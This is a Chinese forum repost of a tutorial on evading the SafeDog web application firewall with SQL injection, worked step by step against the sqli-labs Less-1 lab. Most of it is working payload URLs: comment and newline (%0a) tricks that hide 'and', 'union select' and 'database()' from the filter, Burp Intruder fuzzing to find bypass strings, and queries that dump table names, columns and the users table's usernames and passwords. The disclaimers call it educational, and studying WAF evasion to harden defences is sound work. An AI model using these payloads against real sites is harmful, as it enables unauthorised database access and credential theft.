ToB企服应用市场:ToB评测及商务社交产业平台

标题: SQL注入绕过安全狗的waf防火墙,这一篇就够了,8k文案超详细 [打印本页]

作者: 耶耶耶耶耶    时间: 2024-8-8 18:10
标题: SQL注入绕过安全狗的waf防火墙,这一篇就够了,8k文案超详细
安全狗WAF绕过系列

一、WAF概述

WAF(Web应用防火墙)作为一种专为Web应用步调筹划的安全防护工具,其焦点功能在于通过实施一系列针对HTTP/HTTPS协议的安全计谋,来加强Web应用的安全性。WAF内置了精心筹划的检测逻辑与规则集,这些规则旨在对每一个进入系统的哀求内容进行细致查察,并对任何违背安全计谋的哀求接纳即时且有效的防御措施,从而维护Web应用环境的纯净与安全。
二、WAF工作机制详解

WAF的工作流程精心构建,涵盖四个关键环节:预处理、规则匹配、相应处理以及日记记录,共同编织成一张精密的安全防护网。
三、常见的waf绕过姿势

常见的WAF(Web应用防火墙)绕过姿势包罗但不限于以下几种:
请留意,上述绕过姿势仅供安全研究和教育目的使用。未经授权的渗透测试和网络攻击是非法行为,大概会对个人和构造造成严重的法律结果。在进行任何渗透测试之前,请确保已得到合法授权。
四、安全狗绕过姿势

环境:phpstudy—apache2.4.39
安全狗官网v4.0下载(应该是最新版):https://www.safedog.cn/website_safedog.html
在开始之前,如果没有sql注入基础的的童鞋,还请观看我的别的一篇文章,1w字超详细剖析。
以下内容皆使用sqli第一关进行测试


image-20240716111521447
测试 id=1' and 1=1
  1. http://192.168.209.131/Less-1/?id=-1' and 1=1
复制代码


image-20240715165511624
在之前的尝试中,我们发现直接使用“and 1=1”这种方法似乎并不奏效,这很大概是由于安全狗系统辨认并过滤了“and”这个词。为了更深入地了解安全狗是怎样辨认并拦截这类操作的,我们可以尝试将“and 1=1”进行拆分
  1. http://192.168.10.129:8080/sqli/Less-1/?id=1' and --+
  2. http://192.168.10.129:8080/sqli/Less-1/?id=1' 1=1 --+
复制代码
发现两个页面均返回SQL语法错误,这表明安全狗不会单独过滤‘and’或‘1=1’。我推测它大概是辨认到‘and’后紧跟空格和字符的模式。为了验证这一点,我决定进行实验。
  1. http://192.168.10.129:8080/sqli/Less-1/?id=1' and1--+
  2. http://192.168.10.129:8080/sqli/Less-1/?id=1' and 1--+
复制代码
实验结果,证实了确实是and+空格+字符串的格式会被拦截。
这里我们就可以开始尝试利用「解释符」「回车符%0a」等来代替空格进行绕过了!!
在此输入:
  1. http://192.168.10.129:8080/sqli/Less-1/?id=1' and/**/1=1--+
复制代码
发现仍旧不可,打开burp suite,拦截下我们阻截的包,添加$payload到我们测试的「解释符」中然后点击发送到「intruder」模块,选择如下:


image-20240715170533486
然后,点击pyload,选择「暴力破解」(Brute forcer):


image-20240715170457261
attack,开始攻击,安全狗有流量攻击的防御,反面大概会被拦截,解决办法直接「重启」apache服务器。好了这里测试完成了,点击length更改默认排序,我们拿每个哀求成功payload(查抄response即可查察是否成功,如果用户名正常显示,阐明该字符payload安全狗没有进行拦截)。


image-20240715170405683
我们任意娶一个/!*得到payload和解释符拼接/*/!**/,这个时间and和反面的1=1之间用这个拼接的符号进行连接即可
  1. http://192.168.209.131/Less-1/?id=1' and/*/!**/1=1 --+
复制代码
可以绕过了


image-20240715170823637
order by测试,我们用之前的测试结果,利用/*/!**/这一个充当空格,测试「order by 3」,然后看看能否成功?
  1. http://192.168.209.131/Less-1/?id=1' order/*/!**/by 3 --+
复制代码


image-20240715172306698
完善,接下来测试连合注入。平凡测试union select:
  1. http://192.168.209.131/Less-1/?id=1' union select --+
复制代码


image-20240715172414774
union关键字测试,有回显
  1. http://192.168.209.131/Less-1/?id=1' union --+
复制代码


image-20240715172507322
select关键字测试,有回显
  1. http://192.168.209.131/Less-1/?id=1' select --+
复制代码


image-20240715172540647
已知安全狗WAF对连合注入的拦截规则是辨认到union select字符串。为了探索是否能利用解释符绕过这一规则,我决定采用与之前相同的方法,利用Burp进行抓包,并加强「fuzz测试」中的参数进行暴力破解尝试。


image-20240715205818846
任意选择几个1002长度的相应结果


image-20240715205744548
这里我们选择payload,取/!*!/,构造解释符+payload,为/*/!*!/*/,插入union和select之间,绕过成功
  1. http://192.168.5.64/Less-1/?id=1' union/*/!*!/*/select 1,2,3 --+
复制代码


image-20240715210114937
这里另有一个思绪,可以利用--+%0a这种格式通过换行继续执行,这里我们试一下看看:
   ❝  Tips:我的另一篇sql注入文章有写过%0a的作用,背景回复【sql注入】【sql】等关键字即可查察
  1. http://192.168.5.64/Less-1/?id=-1%27%20union/*!--+/*%0aselect%201,database(),3*/%20--+
  2. 相当于在普通sql语句中的
  3. http://192.168.5.64/Less-1/?id=-1' union/*!--+/*
  4. select 1,database(),3*/ --+
复制代码


image-20240715211304899
尝试报数据库
  1. http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database(),3 --+
复制代码
发现database()被拦截了


image-20240715211803058
我们把database的()给去掉
  1. http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database,3 --+
复制代码
报错,此时就可以确定,安全狗应该是将database()进行检测


image-20240715212006918
然后我们继续使用解释符大概内联解释符看看吧:
继续采用burp的「fuzz测试」:添加上变量


image-20240715213751892
扫出来4个/可以用,最简单的


image-20240715213840696
和之前一样,就不强调了,取解释符+payload,构造payload
  1. http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),3 --+
复制代码


image-20240715214011786
成功了!接下来一个一个关键词测试,group_concat()
  1. http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(table_name) --+
复制代码


image-20240715214342969
没有拦截,继续from
  1. http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(table_name) from --+
复制代码


image-20240715214416033
informtion_schema.tables,结果就不可了
  1. http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(table_name) from informtion_schema.tables --+
复制代码


image-20240715215224759
测试%0a
  1. http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(table_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/
  2. 相当于
  3. http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(table_name) from /*!-- /*
  4. information_schema.tables*/
复制代码


image-20240716093748206
测试查当前数据库的表名,前面已经测试过database()了
  1. http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(table_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/**/()%20--+
  2. 相当于
  3. http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(table_name) from /*!-- /*
  4. information_schema.tables*/where table_schema=database/**/() --+
复制代码


image-20240716093930467
爆字段,测试到and,table_name都没拦截
  1. http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/**/()%20and%20table_name%20--+
  2. 相当于
  3. http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(column_name) from /*!-- /*
  4. information_schema.tables*/where table_schema=database/**/() and table_name --+
复制代码


image-20240716095210635
直到table_name反面加了个=
  1. http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/**/()%20and%20table_name=%20--+
  2. 相当于
  3. http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(column_name) from /*!-- /*
  4. information_schema.tables*/where table_schema=database/**/() and table_name= --+
复制代码


image-20240716095144657
那么开始「fuzz测试」爆破


image-20240716103253642
任意娶一个payload和解释符进行拼接,如下
  1. http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.columns*/where%20table_schema=database/**/()%20and%20table_name/*/***/=%22users%22%20--+
  2. 相当于
  3. http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(column_name) from /*!-- /*
  4. information_schema.columns*/where table_schema=database/**/() and table_name/*/***/="users" --+
复制代码


image-20240716103446751
回车%0a的绕过方式
  1. http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.columns*/where%20table_schema=database/**/()%20and%20/*!--%20/*%0atable_name*/=%22users%22%20--+
  2. 相当于
  3. http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(column_name) from /*!-- /*
  4. information_schema.columns*/where table_schema=database/**/() and /*!-- /*
  5. table_name*/="users" --+
复制代码


image-20240716103752507
爆数据,已知表名为users,字段为id,username,password,并设置每个字段的分隔符为-,separator '-'
  1. http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(id,username,password%20separator%20%27-%27)%20from%20/*!--%20/*%0ausers*/%20--+
  2. 相当于
  3. http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(id,username,password separator '-') from /*!-- /*
  4. users*/ --+
复制代码


image-20240716104419572
总结

通过本文的详细剖析和实验,我们深入了解了SQL注入攻击的根本原理及其在现实应用中的变种和绕过本领。在面对如安全狗这样的WAF防护时,攻击者并非束手无策,而是可以通过多种方式绕过检测规则,成功实施SQL注入攻击。
本文起首通过基础的SQL注入测试,验证了安全狗WAF对“and 1=1”等简单SQL注入模式的辨认能力。随后,通过拆分和解释符的使用,我们发现WAF大概是通过辨认特定模式(如“and”后紧跟空格和字符)来拦截SQL注入的。基于此发现,我们进一步尝试利用解释符、换行符等技能本事绕过WAF的检测,成功实施了更复杂的SQL注入攻击,包罗连合查询注入,获取数据库表名、列名以及具体数据等。
通过本文的学习,我们不仅可以或许加深对SQL注入攻击的理解,还可以或许掌握一些实用的绕过WAF防护的本领。然而,必要强调的是,这些本领仅用于合法的安全测试和教育目的,「任何未经授权的SQL注入攻击都是非法的」,并大概带来严重的法律结果。因此,我们呼吁广大开发人员和安全从业者,应连续关注和提升Web应用的安全性,共同维护网络空间的安全与稳固。
   ❝  「免责声明」:本渗透教程仅供安全研究与教育目的使用。任何未经授权的网络活动均属非法。读者应确保拥有合法权限,并对自己的行为负责。教程内容不包管绝对安全或成功,使用风险自负。
❞  原文:SQL注入绕过某狗的waf防火墙,这一篇就够了,6k文案超详细

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4